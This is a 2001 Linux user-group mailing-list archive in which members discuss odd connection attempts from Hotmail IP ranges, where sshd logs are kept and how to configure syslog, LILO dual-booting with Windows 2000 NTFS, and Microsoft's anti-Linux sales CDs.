> > > > doing some curious scanning. The same IP will try several times to > connect > > > > > to > > > > > > a specific high port and it's always sourced from the smtp port. > > > > > > > > > > > > I'm including a grep from my firewall log where it shows the > hotmail IP, > > > > > the > > > > > > source port, the destination port (where I blocked the access) and > how > > > > > many > > > > > > times the hotmail IP tried. So what's going on? Is hotmail > trojaned or > > > > > > something? Am I just missing something important here? > > > > > > > > > > > > 64.4.55.73 25 8546 6 > > > > > > 64.4.55.171 25 10273 6 > > > > > > 64.4.42.33 25 18839 11 > > > > > > 64.4.49.144 25 44093 11 > > > > > > 64.4.56.229 25 42600 7 > > > > > > 64.4.56.203 25 11097 6 > > > > > > 64.4.56.176 25 21336 5 > > > > > > 64.4.55.20 25 40832 10 > > > > > > 64.4.55.155 25 47103 11 > > > > > > 64.4.42.30 25 29489 11 > > > > > > 64.4.50.13 25 48844 11 > > > > > > 64.4.56.226 25 23369 6 > > > > > > > > > > > > Joshua Jore > > > > > > Minneapolis Ward 3, precinct 10 > > > > > > "The irony of this man being imprisoned in the United States and > longing > > > > > > to return to once-Communist Russia so he can regain his right to > free > > > > > > speech is simply staggering." - someone else > > > > > > > > > > > > _______________________________________________ > > > > > > tclug-list mailing list > > > > > > tclug-list@mn-linux.org > > > > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > > > > > > > > > > _______________________________________________ > > > > > tclug-list mailing list > > > > > tclug-list@mn-linux.org > > > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > > > > > > > _______________________________________________ > > > > tclug-list mailing list > > > > tclug-list@mn-linux.org > > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > > > > -- > > > Imagination is intelligence having fun... > > > e-mail: kethry@winternet.com > > > URL: http://WWW.winternet.com/~kethry/index.html > > > > > > _______________________________________________ > > > tclug-list mailing list > > > tclug-list@mn-linux.org > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From troy.johnson at health.state.mn.us Fri Aug 24 11:20:40 2001 From: troy.johnson at health.state.mn.us (Troy.A Johnson) Date: Mon Jan 17 13:26:49 2005 Subject: [TCLUG] Anyone got or can get one of these cds? Message-ID: Doug, That would be really good information to have: To know what will be said against your solution before it is said. You can include things in your presentation that refute or deflect those criticisms and refer back to them when the "MS inspired" questions are asked. Please send them to the list (or just include me if anyone objects) if you do find them. Thanks, Troy >>> doug@northlandstudios.com 08/24/01 07:28AM >>> Where I work we are an MCSP and get shipments like this. We got our monthly shipment yesterday, and I'll look through it today if I can and let ya know if we got them. Doug On Thu, 2001-08-23 at 23:57, Bob Tanner wrote: > http://linuxtoday.com/news_story.php3?ltsn=2001-08-23-014-20-NW-MS > > >Surprisingly enough, this month's edition contained 2 CDs titled: "Competing > >with Linux". > > > > One is a "Sales Training CD" aimed at resellers and solution partners. It > > primarily deals with how MS-zealots should deal with clients asking tough > > questions about Linux viability. As you can guess, it's really focussed on > > downplaying Linux as possible competition for MS-based solutions. From the > > tone of it, it looks like there is some serious concerns about Linux from the > > boys in Redmond. It talks about the threats Linux poses to MS solutions, but > > even goes as far as telling resellers & solution partners whom to focus on in > > a enterprise when trying to convince enterprises not to opt for Linux. There > > is even - and this is *really* hilariously stupid - a multiple choice game at > > the end of the CD where you have to answer a fictitious client's questions > > about Linux. You score points by clicking on the answers that dismiss Linux as > > a viable enterprise solution. I know some people here at the office (and those > > folks are primarily an MS-centered business) had a good laugh about this. > > Anyone get or can get one of these cds? > > I'd like to read what MS says and I'd like to be able to dismiss their dismissal > of Linux. :-) > > From shane at shell.schulte.org Fri Aug 24 11:23:47 2001 From: shane at shell.schulte.org (Shane Kinney) Date: Mon Jan 17 13:26:49 2005 Subject: [TCLUG] sshd log files In-Reply-To: <3B867A66.506CE57C@sodatrain.com> Message-ID: Thanks...I give that a try. On Fri, 24 Aug 2001, duncan wrote: > You can add this to your syslog.conf file to keep track of who logs in.... > > > # Log all logins to /var/log/loginlog > auth.*;user.*;daemon.none /var/log/loginlog > > > Shane Kinney wrote: > > > Does anyone know if Linux Mandrake 8.0 keeps sshd log files somewhere in > > the file system? I can't seem to find any...do I have to write my own to > > keep track of who logs in? > > ~Shane > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From doug at northlandstudios.com Fri Aug 24 11:38:05 2001 From: doug at northlandstudios.com (doug) Date: Mon Jan 17 13:26:50 2005 Subject: [TCLUG] Anyone got or can get one of these cds? References: Message-ID: <002501c12cbb$26a72800$940f3c9e@DHENRYW2P> I found the CD's and I'll be duping them this weekend, there is 109mb on the first one alone, so there will be some stuff to sift through... I should have dsl running sometime today (yippee!) so I can upload alot of this someplace if somebody has room (my site won't hold much of it). This is all in word 2000 as well... Doug ----- Original Message ----- From: "Troy.A Johnson" To: Sent: Friday, August 24, 2001 11:20 AM Subject: Re: [TCLUG] Anyone got or can get one of these cds? > Doug, > > That would be really good information to have: > > To know what will be said against your solution before > it is said. You can include things in your presentation > that refute or deflect those criticisms and refer back > to them when the "MS inspired" questions are asked. > > Please send them to the list (or just include me if anyone > objects) if you do find them. Thanks, > > Troy > > >>> doug@northlandstudios.com 08/24/01 07:28AM >>> > Where I work we are an MCSP and get shipments like this. We got our > monthly shipment yesterday, and I'll look through it today if I can and > let ya know if we got them. > > Doug > > On Thu, 2001-08-23 at 23:57, Bob Tanner wrote: > > > http://linuxtoday.com/news_story.php3?ltsn=2001-08-23-014-20-NW-MS > > > > >Surprisingly enough, this month's edition contained 2 CDs titled: "Competing > > >with Linux". > > > > > > One is a "Sales Training CD" aimed at resellers and solution partners. It > > > primarily deals with how MS-zealots should deal with clients asking tough > > > questions about Linux viability. As you can guess, it's really focussed on > > > downplaying Linux as possible competition for MS-based solutions. From the > > > tone of it, it looks like there is some serious concerns about Linux from the > > > boys in Redmond. It talks about the threats Linux poses to MS solutions, but > > > even goes as far as telling resellers & solution partners whom to focus on in > > > a enterprise when trying to convince enterprises not to opt for Linux. There > > > is even - and this is *really* hilariously stupid - a multiple choice game at > > > the end of the CD where you have to answer a fictitious client's questions > > > about Linux. You score points by clicking on the answers that dismiss Linux as > > > a viable enterprise solution. I know some people here at the office (and those > > > folks are primarily an MS-centered business) had a good laugh about this. > > > > Anyone get or can get one of these cds? > > > > I'd like to read what MS says and I'd like to be able to dismiss their dismissal > > of Linux. :-) > > > > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From doug at northlandstudios.com Fri Aug 24 11:52:24 2001 From: doug at northlandstudios.com (doug) Date: Mon Jan 17 13:26:50 2005 Subject: [TCLUG] Little Sony Vaio's and Linux References: <002501c12cbb$26a72800$940f3c9e@DHENRYW2P> Message-ID: <003301c12cbd$26ef42a0$940f3c9e@DHENRYW2P> Does anyone know if it will run on them??? I have one of these to play with for the weekend: http://www.sonystyle.com/vaio/sr/index.html It's pretty cool, and I think I'd get one if I could get linux running on it:-) Doug From esper at sherohman.org Fri Aug 24 11:55:51 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:26:50 2005 Subject: [TCLUG] Little Sony Vaio's and Linux In-Reply-To: <003301c12cbd$26ef42a0$940f3c9e@DHENRYW2P>; from doug@northlandstudios.com on Fri, Aug 24, 2001 at 11:52:24AM -0500 References: <002501c12cbb$26a72800$940f3c9e@DHENRYW2P> <003301c12cbd$26ef42a0$940f3c9e@DHENRYW2P> Message-ID: <20010824115551.D15140@sherohman.org> On Fri, Aug 24, 2001 at 11:52:24AM -0500, doug wrote: > Does anyone know if it will run on them??? I have one of these to play with > for the weekend: > > http://www.sonystyle.com/vaio/sr/index.html > > It's pretty cool, and I think I'd get one if I could get linux running on > it:-) Vaios in general have a good rep for compatibility, but I can't speak to specific models. -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From joel at luths.net Fri Aug 24 12:12:04 2001 From: joel at luths.net (joel@luths.net) Date: Mon Jan 17 13:26:50 2005 Subject: [TCLUG] sshd log files In-Reply-To: <3B867A66.506CE57C@sodatrain.com> References: <3B867A66.506CE57C@sodatrain.com> Message-ID: <998673124.3b868ae46b6da@www.luths.net> Mine (RH 6.2) just get logged to /var/log/messages. I suppose that's because I have *.info going to messages? (gotta learn about syslog someday) Quoting duncan : > You can add this to your syslog.conf file to keep track of who logs > in.... > > > # Log all logins to /var/log/loginlog > auth.*;user.*;daemon.none /var/log/loginlog > > > Shane Kinney wrote: > > > Does anyone know if Linux Mandrake 8.0 keeps sshd log files somewhere > in > > the file system? I can't seem to find any...do I have to write my own > to > > keep track of who logs in? > > ~Shane > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > From andy at theasis.com Fri Aug 24 07:02:20 2001 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:26:50 2005 Subject: [TCLUG] Little Sony Vaio's and Linux In-Reply-To: <20010824115551.D15140@sherohman.org> Message-ID: > > Vaios in general have a good rep for compatibility, but I can't speak > to specific models. Ken can: http://www.linux-laptop.net/ From doughanson at mediaone.net Fri Aug 24 12:22:55 2001 From: doughanson at mediaone.net (Doug Hanson) Date: Mon Jan 17 13:26:50 2005 Subject: [TCLUG] RedHat Install Message-ID: <003101c12cc1$6a670050$eaaf7a81@doug> Greetings, I am trying to install RedHat 7.0 on a second hard drive of a Win2Kpro system. The problem is that Lilo doesn't see the Windoze partition? It is NTFS. Any suggestions? (besides blowing away windoze) Thanks, Douger -------------- next part -------------- An HTML attachment was scrubbed... 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URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010824/e8dd542e/attachment.htm From veldy at veldy.net Fri Aug 24 12:50:24 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:26:50 2005 Subject: [TCLUG] hotmail servers scanning... References: Message-ID: <009801c12cc5$417bdae0$3028680a@tgt.com> The guy below said this: > ARIN > > block 64.0.0 - 64.4.63.255 looking at random ports. Dshield hasn't 64.1.x.x is in this range. It is owned by XO. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Mark K" To: Sent: Friday, August 24, 2001 10:00 AM Subject: Re: [TCLUG] hotmail servers scanning... > Yes, but the 64.4.x.x is owned by Hotmail... > MS Hotmail (NETBLK-HOTMAIL) > 1065 La Avenida > Mountain View, CA 94043 > US > > Netname: HOTMAIL > Netblock: 64.4.0.0 - 64.4.63.255 > > Coordinator: > Myers, Michael (MM520-ARIN) icon@HOTMAIL.COM > 650-693-7072 > > Domain System inverse mapping provided by: > > NS1.HOTMAIL.COM 216.200.206.140 > NS3.HOTMAIL.COM 209.185.130.68 > > Record last updated on 09-Jan-2001. > Database last updated on 23-Aug-2001 23:14:12 EDT. > > > > > MK > > > On Fri, 24 Aug 2001, Thomas T. Veldhouse wrote: > > > This block is not all Hotmail. At least some of these (i.e. 64.1.x.x is XO) > > communications. > > > > Tom Veldhouse > > veldy@veldy.net > > > > ----- Original Message ----- > > From: "Joshua b. Jore" > > To: > > Sent: Thursday, August 23, 2001 10:12 AM > > Subject: Re: [TCLUG] hotmail servers scanning... > > > > > > > Hmm... I wouldn't think Hotmail would portscan unrelated IPs to find SMTP > > > relays on wierd ports. Or did Hotmail turn into an ISP when I wasn't > > watching? > > > It's just wierdly coordinated - all these different IPs within the same > > ARIN > > > block 64.0.0 - 64.4.63.255 looking at random ports. Dshield hasn't > > recognized > > > any IPs I've fed it so I'm not sure what to make of it. I might just phone > > > the contact for the ARIN block at Hotmail and see if he knows what's going > > on. > > > > > > Joshua Jore > > > Minneapolis Ward 3, precinct 10 > > > "The irony of this man being imprisoned in the United States and longing > > > to return to once-Communist Russia so he can regain his right to free > > > speech is simply staggering." - someone else > > > > > > On Thu, 23 Aug 2001, Liz Burke-Scovill wrote: > > > > > > > > > > > Hey, Josh - > > > > > > > > I don't know if this means anything, but while I was working on locking > > > > down SMTP over here, we were alerted to the problem because earthlink > > was > > > > doing scans to make sure we didn't have any open SMTP relays - not > > always > > > > on the standard port...perhaps hotmail's doing the same thing OR someone > > > > going through hotmail is trying to find an opening to spam from? > > > > > > > > Liz > > > > > > > > On Thu, 23 Aug 2001, Joshua b. Jore wrote: > > > > > > > > > Nope, the box getting the connections is MS-free. The only reason > > hotmail shoudl be talking to my box is to deliver mail or do DNS in the > > service of mail. In that case I should see connections *to* ports 25 and 53, > > not *from* 25. It's an idea tho. I just don't use MSN Messenger. > > > > > > > > > > Joshua Jore > > > > > Minneapolis Ward 3, precinct 10 > > > > > "The irony of this man being imprisoned in the United States and > > longing > > > > > to return to once-Communist Russia so he can regain his right to free > > > > > speech is simply staggering." - someone else > > > > > > > > > > On Thu, 23 Aug 2001, doug wrote: > > > > > > > > > > > Are you logged on to msn messenger or logged into the hotmail > > service on any > > > > > > machine? I'm not sure if messenger uses port 25 for anything or not > > (believe > > > > > > it does), but I know it does use non-standard ports as well. I'd > > find it > > > > > > hard to believe it's trojaned and snooping you but then again it's > > M$ so who > > > > > > really knows what's going on there ;-) > > > > > > ----- Original Message ----- > > > > > > From: "Joshua b. Jore" > > > > > > To: > > > > > > Sent: Wednesday, August 22, 2001 8:03 PM > > > > > > Subject: [TCLUG] hotmail servers scanning... > > > > > > > > > > > > > > > > > > > Just a general issue, I've noticed a few IPs from the hotmail.com > > IP range > > > > > > > doing some curious scanning. The same IP will try several times to > > connect > > > > > > to > > > > > > > a specific high port and it's always sourced from the smtp port. > > > > > > > > > > > > > > I'm including a grep from my firewall log where it shows the > > hotmail IP, > > > > > > the > > > > > > > source port, the destination port (where I blocked the access) and > > how > > > > > > many > > > > > > > times the hotmail IP tried. So what's going on? Is hotmail > > trojaned or > > > > > > > something? Am I just missing something important here? > > > > > > > > > > > > > > 64.4.55.73 25 8546 6 > > > > > > > 64.4.55.171 25 10273 6 > > > > > > > 64.4.42.33 25 18839 11 > > > > > > > 64.4.49.144 25 44093 11 > > > > > > > 64.4.56.229 25 42600 7 > > > > > > > 64.4.56.203 25 11097 6 > > > > > > > 64.4.56.176 25 21336 5 > > > > > > > 64.4.55.20 25 40832 10 > > > > > > > 64.4.55.155 25 47103 11 > > > > > > > 64.4.42.30 25 29489 11 > > > > > > > 64.4.50.13 25 48844 11 > > > > > > > 64.4.56.226 25 23369 6 > > > > > > > > > > > > > > Joshua Jore > > > > > > > Minneapolis Ward 3, precinct 10 > > > > > > > "The irony of this man being imprisoned in the United States and > > longing > > > > > > > to return to once-Communist Russia so he can regain his right to > > free > > > > > > > speech is simply staggering." - someone else > > > > > > > > > > > > > > _______________________________________________ > > > > > > > tclug-list mailing list > > > > > > > tclug-list@mn-linux.org > > > > > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > > > > > > > > > > > > > _______________________________________________ > > > > > > tclug-list mailing list > > > > > > tclug-list@mn-linux.org > > > > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > > > > > > > > > > _______________________________________________ > > > > > tclug-list mailing list > > > > > tclug-list@mn-linux.org > > > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > > > > > > > -- > > > > Imagination is intelligence having fun... > > > > e-mail: kethry@winternet.com > > > > URL: http://WWW.winternet.com/~kethry/index.html > > > > > > > > _______________________________________________ > > > > tclug-list mailing list > > > > tclug-list@mn-linux.org > > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > > > > _______________________________________________ > > > tclug-list mailing list > > > tclug-list@mn-linux.org > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > -- > ________________________________________________________ > ReadyNET Go!, Inc. - Building your Business on the net > ________________________________________________________ > > Mark J. Kroska > MIS Director > > 320.656.0765 Voice > 888.447.3239 Toll Free > 320.203.7052 Fax > http://www.readynetgo.com > mailto:mkroska@readynetgo.com > ________________________________________________________ > > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From steveg at transition.com Fri Aug 24 14:02:38 2001 From: steveg at transition.com (Steve Grobe) Date: Mon Jan 17 13:26:50 2005 Subject: [TCLUG] RedHat Install Message-ID: <21F2EFCC0249D211B7AE00C0F201008C8BBFCE@postman.transition.com> RedHat 7.1 saw my Win2k partition but didn't add it to the lilo config file. Mandrake 8.0 saw it and added it to lilo. As far as reading NTFS5.0 I think you are right neither RedHat 7.1 or Mandrake 8.0 were able to mount it. -----Original Message----- From: doug [mailto:doug@northlandstudios.com] Sent: Friday, August 24, 2001 12:47 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] RedHat Install I'm not positive but I didn't think Linux could read an NTFS5.0 partition...but I may be wrong. Doug ----- Original Message ----- From: Doug Hanson To: tclug-list@mn-linux.org Sent: Friday, August 24, 2001 12:22 PM Subject: [TCLUG] RedHat Install Greetings, I am trying to install RedHat 7.0 on a second hard drive of a Win2Kpro system. The problem is that Lilo doesn't see the Windoze partition? It is NTFS. Any suggestions? (besides blowing away windoze) Thanks, Douger From josh at greentechnologist.org Fri Aug 24 10:08:24 2001 From: josh at greentechnologist.org (Joshua b. Jore) Date: Mon Jan 17 13:26:50 2005 Subject: [TCLUG] hotmail servers scanning... In-Reply-To: Message-ID: Urk, I mis-spoke again. You'd think I never typed or something. 64.4.0.0 - 64.4.63.255. Also, in looking a little closer all the packets come with the flags '-AFP'. Being a sensible type I only allow the S flag for connections that don't already have a state. I've asked my firewall to save the body of these scans so I'll share them when hotmail starts scanning again. ;-) Joshua Jore Minneapolis Ward 3, precinct 10 "The irony of this man being imprisoned in the United States and longing to return to once-Communist Russia so he can regain his right to free speech is simply staggering." - someone else On Fri, 24 Aug 2001, Joshua b. Jore wrote: > Oh sorry, I mis-spoke. It's 64.4.0.0 - 64.4.53.255 > > Joshua Jore > Minneapolis Ward 3, precinct 10 > "The irony of this man being imprisoned in the United States and longing > to return to once-Communist Russia so he can regain his right to free > speech is simply staggering." - someone else > > On Fri, 24 Aug 2001, Thomas T. Veldhouse wrote: > > > This block is not all Hotmail. At least some of these (i.e. 64.1.x.x is XO) > > communications. > > > > Tom Veldhouse > > veldy@veldy.net > > > > ----- Original Message ----- > > From: "Joshua b. Jore" > > To: > > Sent: Thursday, August 23, 2001 10:12 AM > > Subject: Re: [TCLUG] hotmail servers scanning... > > > > > > > Hmm... I wouldn't think Hotmail would portscan unrelated IPs to find SMTP > > > relays on wierd ports. Or did Hotmail turn into an ISP when I wasn't > > watching? > > > It's just wierdly coordinated - all these different IPs within the same > > ARIN > > > block 64.0.0 - 64.4.63.255 looking at random ports. Dshield hasn't > > recognized > > > any IPs I've fed it so I'm not sure what to make of it. I might just phone > > > the contact for the ARIN block at Hotmail and see if he knows what's going > > on. > > > > > > Joshua Jore > > > Minneapolis Ward 3, precinct 10 > > > "The irony of this man being imprisoned in the United States and longing > > > to return to once-Communist Russia so he can regain his right to free > > > speech is simply staggering." - someone else > > > > > > On Thu, 23 Aug 2001, Liz Burke-Scovill wrote: > > > > > > > > > > > Hey, Josh - > > > > > > > > I don't know if this means anything, but while I was working on locking > > > > down SMTP over here, we were alerted to the problem because earthlink > > was > > > > doing scans to make sure we didn't have any open SMTP relays - not > > always > > > > on the standard port...perhaps hotmail's doing the same thing OR someone > > > > going through hotmail is trying to find an opening to spam from? > > > > > > > > Liz > > > > > > > > On Thu, 23 Aug 2001, Joshua b. Jore wrote: > > > > > > > > > Nope, the box getting the connections is MS-free. The only reason > > hotmail shoudl be talking to my box is to deliver mail or do DNS in the > > service of mail. In that case I should see connections *to* ports 25 and 53, > > not *from* 25. It's an idea tho. I just don't use MSN Messenger. > > > > > > > > > > Joshua Jore > > > > > Minneapolis Ward 3, precinct 10 > > > > > "The irony of this man being imprisoned in the United States and > > longing > > > > > to return to once-Communist Russia so he can regain his right to free > > > > > speech is simply staggering." - someone else > > > > > > > > > > On Thu, 23 Aug 2001, doug wrote: > > > > > > > > > > > Are you logged on to msn messenger or logged into the hotmail > > service on any > > > > > > machine? I'm not sure if messenger uses port 25 for anything or not > > (believe > > > > > > it does), but I know it does use non-standard ports as well. I'd > > find it > > > > > > hard to believe it's trojaned and snooping you but then again it's > > M$ so who > > > > > > really knows what's going on there ;-) > > > > > > ----- Original Message ----- > > > > > > From: "Joshua b. Jore" > > > > > > To: > > > > > > Sent: Wednesday, August 22, 2001 8:03 PM > > > > > > Subject: [TCLUG] hotmail servers scanning... > > > > > > > > > > > > > > > > > > > Just a general issue, I've noticed a few IPs from the hotmail.com > > IP range > > > > > > > doing some curious scanning. The same IP will try several times to > > connect > > > > > > to > > > > > > > a specific high port and it's always sourced from the smtp port. > > > > > > > > > > > > > > I'm including a grep from my firewall log where it shows the > > hotmail IP, > > > > > > the > > > > > > > source port, the destination port (where I blocked the access) and > > how > > > > > > many > > > > > > > times the hotmail IP tried. So what's going on? Is hotmail > > trojaned or > > > > > > > something? Am I just missing something important here? > > > > > > > > > > > > > > 64.4.55.73 25 8546 6 > > > > > > > 64.4.55.171 25 10273 6 > > > > > > > 64.4.42.33 25 18839 11 > > > > > > > 64.4.49.144 25 44093 11 > > > > > > > 64.4.56.229 25 42600 7 > > > > > > > 64.4.56.203 25 11097 6 > > > > > > > 64.4.56.176 25 21336 5 > > > > > > > 64.4.55.20 25 40832 10 > > > > > > > 64.4.55.155 25 47103 11 > > > > > > > 64.4.42.30 25 29489 11 > > > > > > > 64.4.50.13 25 48844 11 > > > > > > > 64.4.56.226 25 23369 6 > > > > > > > > > > > > > > Joshua Jore > > > > > > > Minneapolis Ward 3, precinct 10 > > > > > > > "The irony of this man being imprisoned in the United States and > > longing > > > > > > > to return to once-Communist Russia so he can regain his right to > > free > > > > > > > speech is simply staggering." - someone else > > > > > > > > > > > > > > _______________________________________________ > > > > > > > tclug-list mailing list > > > > > > > tclug-list@mn-linux.org > > > > > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > > > > > > > > > > > > > _______________________________________________ > > > > > > tclug-list mailing list > > > > > > tclug-list@mn-linux.org > > > > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > > > > > > > > > > _______________________________________________ > > > > > tclug-list mailing list > > > > > tclug-list@mn-linux.org > > > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > > > > > > > -- > > > > Imagination is intelligence having fun... > > > > e-mail: kethry@winternet.com > > > > URL: http://WWW.winternet.com/~kethry/index.html > > > > > > > > _______________________________________________ > > > > tclug-list mailing list > > > > tclug-list@mn-linux.org > > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > > > > _______________________________________________ > > > tclug-list mailing list > > > tclug-list@mn-linux.org > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From shane at shell.schulte.org Fri Aug 24 15:01:33 2001 From: shane at shell.schulte.org (Shane Kinney) Date: Mon Jan 17 13:26:50 2005 Subject: [TCLUG] sshd log files In-Reply-To: <998673124.3b868ae46b6da@www.luths.net> Message-ID: You are correct about that. There is some information in the messages log file. Thanks! ~Shane On Fri, 24 Aug 2001 joel@luths.net wrote: > Mine (RH 6.2) just get logged to /var/log/messages. I suppose that's because I > have *.info going to messages? (gotta learn about syslog someday) > > Quoting duncan : > > > You can add this to your syslog.conf file to keep track of who logs > > in.... > > > > > > # Log all logins to /var/log/loginlog > > auth.*;user.*;daemon.none /var/log/loginlog > > > > > > Shane Kinney wrote: > > > > > Does anyone know if Linux Mandrake 8.0 keeps sshd log files somewhere > > in > > > the file system? I can't seem to find any...do I have to write my own > > to > > > keep track of who logs in? > > > ~Shane > > > > > > _______________________________________________ > > > tclug-list mailing list > > > tclug-list@mn-linux.org > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From simeonuj at eetc.com Fri Aug 24 15:06:12 2001 From: simeonuj at eetc.com (Simeon Johnston) Date: Mon Jan 17 13:26:51 2005 Subject: [TCLUG] RedHat Install References: <003101c12cc1$6a670050$eaaf7a81@doug> Message-ID: <3B86B375.D8CA605D@eetc.com> > Doug Hanson wrote: > > Greetings, > > I am trying to install RedHat 7.0 on a second hard drive of a > Win2Kpro system. The problem is that Lilo doesn't see the Windoze > partition? It is NTFS. Any suggestions? (besides blowing away > windoze) Doesn't matter if it picks it up or not. You'll just have to do it manually. :) You put in the /etc/lilo.conf file... other=/dev/THE_DEVICE_AND_NTFS_PARTITION_# label=Winbloze2K Then rerun "lilo". That's it. Lilo will simply go to the first part of that partition and load it when selected at boot time. You shouldn't have to blow away windows... "Shouldn't" :) sim From steveg at transition.com Fri Aug 24 15:19:58 2001 From: steveg at transition.com (Steve Grobe) Date: Mon Jan 17 13:26:51 2005 Subject: [TCLUG] this post has no value Message-ID: <21F2EFCC0249D211B7AE00C0F201008C8BBFCF@postman.transition.com> http://128.241.244.96/portal/uploads/27000/27549_winrg.swf A good way to waste some time. From florin at iucha.net Fri Aug 24 15:21:58 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:26:51 2005 Subject: [TCLUG] RedHat Install In-Reply-To: <21F2EFCC0249D211B7AE00C0F201008C8BBFCE@postman.transition.com>; from steveg@transition.com on Fri, Aug 24, 2001 at 02:02:38PM -0500 References: <21F2EFCC0249D211B7AE00C0F201008C8BBFCE@postman.transition.com> Message-ID: <20010824152158.A23939@beaver.iucha.org> On Fri, Aug 24, 2001 at 02:02:38PM -0500, Steve Grobe wrote: If you get a new kernel (2.4.8) it will work. Be carefull, 2.4.9 kernel module doesn't compile because of some min/max macro issues. florin > RedHat 7.1 saw my Win2k partition but didn't add it to the lilo config file. > Mandrake 8.0 saw it and added it to lilo. As far as reading NTFS5.0 I think > you are right neither RedHat 7.1 or Mandrake 8.0 were able to mount it. > > > -----Original Message----- > From: doug [mailto:doug@northlandstudios.com] > Sent: Friday, August 24, 2001 12:47 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] RedHat Install > > > I'm not positive but I didn't think Linux could read an NTFS5.0 > partition...but I may be wrong. > > Doug > > ----- Original Message ----- > From: Doug Hanson > To: tclug-list@mn-linux.org > Sent: Friday, August 24, 2001 12:22 PM > Subject: [TCLUG] RedHat Install > > > Greetings, > > I am trying to install RedHat 7.0 on a second hard drive of a Win2Kpro > system. The problem is that Lilo doesn't see the Windoze partition? It is > NTFS. Any suggestions? (besides blowing away windoze) > > Thanks, > > Douger > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From steveg at transition.com Fri Aug 24 15:48:42 2001 From: steveg at transition.com (Steve Grobe) Date: Mon Jan 17 13:26:51 2005 Subject: [TCLUG] RedHat Install Message-ID: <21F2EFCC0249D211B7AE00C0F201008C8BBFD1@postman.transition.com> Thanks, next time I have to reinstall Windows maybe I'll give that a shot. In the mean time I just put Win2K on a FAT32 partition. The only thing I use Windows for is printing photos, and maybe an occasional game. -----Original Message----- From: Florin Iucha [mailto:florin@iucha.net] Sent: Friday, August 24, 2001 3:22 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] RedHat Install On Fri, Aug 24, 2001 at 02:02:38PM -0500, Steve Grobe wrote: If you get a new kernel (2.4.8) it will work. Be carefull, 2.4.9 kernel module doesn't compile because of some min/max macro issues. florin > RedHat 7.1 saw my Win2k partition but didn't add it to the lilo config file. > Mandrake 8.0 saw it and added it to lilo. As far as reading NTFS5.0 I think > you are right neither RedHat 7.1 or Mandrake 8.0 were able to mount it. > > tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From austad at marketwatch.com Fri Aug 24 17:40:54 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:26:51 2005 Subject: [TCLUG] sshd log files Message-ID: <54180709DD3FE145917BB165AFE7EFA0BCDDF7@mspexch2.office.mktw.net> You can also type "last" and it will give you who logged in and for how long. Also, sshd usually logs to /var/log/messages or /var/log/secure depending on the version and distro you use. > -----Original Message----- > From: Shane Kinney [mailto:shane@shell.schulte.org] > Sent: Friday, August 24, 2001 11:24 AM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] sshd log files > > > Thanks...I give that a try. > > On Fri, 24 Aug 2001, duncan wrote: > > > You can add this to your syslog.conf file to keep track of who logs > > in.... > > > > > > # Log all logins to /var/log/loginlog > > auth.*;user.*;daemon.none /var/log/loginlog 